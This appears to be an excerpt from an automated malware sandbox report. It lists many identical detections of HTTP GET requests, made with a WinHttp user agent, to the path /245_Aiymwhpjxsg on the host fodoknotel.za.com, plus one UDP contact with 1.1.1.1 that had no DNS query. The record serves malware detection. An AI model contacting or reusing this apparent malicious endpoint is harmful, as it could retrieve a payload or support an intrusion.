Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
Source: global traffic	HTTP traffic detected: GET /245_Aiymwhpjxsg HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Host: fodoknotel.za.com
